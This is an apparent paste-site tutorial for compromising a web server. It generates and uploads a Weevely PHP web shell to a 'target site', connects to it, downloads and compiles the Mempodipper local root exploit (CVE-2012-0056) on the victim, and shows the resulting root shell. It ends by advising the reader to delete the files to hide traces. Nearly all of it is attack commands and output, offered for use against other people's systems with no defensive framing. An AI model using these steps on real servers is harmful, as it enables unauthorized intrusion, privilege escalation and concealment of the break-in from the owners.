SHOW:
|
|
- or go back to the newest paste.
| 1 | Weevely to root tutorial | |
| 2 | ||
| 3 | wget https://github.com/downloads/epinna/Weevely/weevely-0.7.1.tar.gz | |
| 4 | tar -zxvf weevely-0.7.1.tar.gz | |
| 5 | cd to the new dir | |
| 6 | now type ./weevely.py generate <password> | |
| 7 | ||
| 8 | <password> is the bit you change to any password | |
| 9 | EG ./weevely.py generate Password123 | |
| 10 | ||
| 11 | this will create a weevely.php file in your current dir | |
| 12 | if you're sill unsure this is an in depth tutorial on this https://github.com/epinna/Weevely/wiki/Tutorial | |
| 13 | ||
| 14 | Now once you have uploaded you weevely.php file to the target server and you know what dir to locate it in we go onto the next step | |
| 15 | ||
| 16 | connecting to your backdoor | |
| 17 | ./weevely.py http://www.targetsite.com/dir/weevely.php <password> | |
| 18 | ||
| 19 | the <password> is what you chose when making the backdoor | |
| 20 | ||
| 21 | Should look like this: | |
| 22 | ||
| 23 | user@IMNOTAPC:~$ ./weevely.py http://xxxxx.xx/weevely.php Password123 | |
| 24 | ________ __ | |
| 25 | | | | |-----.----.-.--.----' |--.--. | |
| 26 | | | | | -__| -__| | | -__| | | | | |
| 27 | |________|_____|____|___/|____|__|___ | v0.7.1 | |
| 28 | |_____| | |
| 29 | Stealth tiny web shell | |
| 30 | ||
| 31 | [+] Starting terminal, shell probe may take a while | |
| 32 | [+] List modules with <tab> and show help with :show [module name] | |
| 33 | ||
| 34 | ||
| 35 | now that we have the back door its time to find out the linux kernel version | |
| 36 | type: | |
| 37 | uname -a | |
| 38 | response: | |
| 39 | ||
| 40 | Linux xxxxxxxx.miniserver.com 2.6.39.4-x1 #1 SMP Wed Oct 26 11:39:05 GMT 2011 i686 GNU/Linux | |
| 41 | ||
| 42 | Note the ker version is 2.6.39, there is a local root exploit for this, so we can google | |
| 43 | "2.6.39 local root exploit" | |
| 44 | there is one on exploit-db | |
| 45 | ||
| 46 | now I go back to my shell then type: | |
| 47 | cd /tmp | |
| 48 | this is because /tmp will always let you write the file to it | |
| 49 | ||
| 50 | and type: | |
| 51 | wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c | |
| 52 | ||
| 53 | then type: | |
| 54 | gcc -o test mempodipper.c | |
| 55 | replace mempodipper.c with the exploit suited to your server | |
| 56 | now to set permissions : | |
| 57 | chmod u+x test | |
| 58 | ||
| 59 | now to run: | |
| 60 | ||
| 61 | ./test | |
| 62 | ||
| 63 | =============================== | |
| 64 | = Mempodipper = | |
| 65 | = by zx2c4 = | |
| 66 | = Jan 21, 2012 = | |
| 67 | =============================== | |
| 68 | ||
| 69 | [+] Ptracing su to find next instruction without reading binary. | |
| 70 | [+] Creating ptrace pipe. | |
| 71 | [+] Forking ptrace child. | |
| 72 | [+] Waiting for ptraced child to give output on syscalls. | |
| 73 | [+] Ptrace_traceme'ing process. | |
| 74 | [+] Error message written. Single stepping to find address. | |
| 75 | [+] Resolved call address to 0x8049984. | |
| 76 | [+] Opening socketpair. | |
| 77 | [+] Waiting for transferred fd in parent. | |
| 78 | [+] Executing child from child fork. | |
| 79 | [+] Opening parent mem /proc/411/mem in child. | |
| 80 | [+] Sending fd 6 to parent. | |
| 81 | [+] Received fd at 6. | |
| 82 | [+] Assigning fd 6 to stderr. | |
| 83 | [+] Calculating su padding. | |
| 84 | [+] Seeking to offset 0x8049978. | |
| 85 | [+] Executing su with shellcode. | |
| 86 | ||
| 87 | [email protected]:# | |
| 88 | ||
| 89 | YOU HAVE ROOT :D | |
| 90 | ||
| 91 | don't forget to delete them | |
| 92 | rm -r <filename> |